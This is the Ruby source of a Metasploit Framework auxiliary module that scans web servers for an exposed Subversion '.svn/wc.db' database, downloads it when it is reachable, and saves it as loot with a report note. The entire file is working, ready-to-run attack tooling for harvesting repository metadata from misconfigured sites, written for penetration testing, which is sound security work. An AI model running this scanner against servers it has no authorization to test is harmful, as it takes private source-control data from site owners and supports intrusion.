## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'SVN wc.db Scanner', 'Description' => %q{ Scan for servers that allow access to the SVN wc.db file. Based on the work by Tim Meddin. }, 'Author' => [ 'Stephen Haywood ', ], 'References' => [ ['URL', 'http://pen-testing.sans.org/blog/pen-testing/2012/12/06/all-your-svn-are-belong-to-us#'] ], 'License' => MSF_LICENSE ) register_advanced_options( [ OptString.new('BASE_PATH', [false, 'Path to the directory with the .svn folder.', nil]) ], self.class) end def run_host(ip) if datastore['BASE_PATH'] get_wcdb(datastore['BASE_PATH'] + '/.svn/wc.db') else get_wcdb('/.svn/wc.db') end end def get_wcdb(path) proto = (ssl ? 'https://' : 'http://') vprint_status("Trying #{proto}#{vhost}:#{rport}#{path}") begin res = send_request_cgi( { 'method' => 'GET', 'uri' => path, 'ctype' => 'text/plain' } ) if res and res.code == 200 print_good("SVN wc.db database found on #{vhost}:#{rport}") file = store_loot( "svn.wcdb.database", "application/octet-stream", vhost, res.body, "wc.db", "SVN wc.db database" ) print_good("SVN wc.db database stored in #{file}") report_note( :host => rhost, :port => rport, :proto => 'tcp', :sname => (ssl ? 'https' : 'http'), :type => 'svn_wc_database', :data => "SVN wc.db database is stored in #{file}" ) else vprint_error("SVN wc.db database not found on #{vhost}:#{rport}") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end end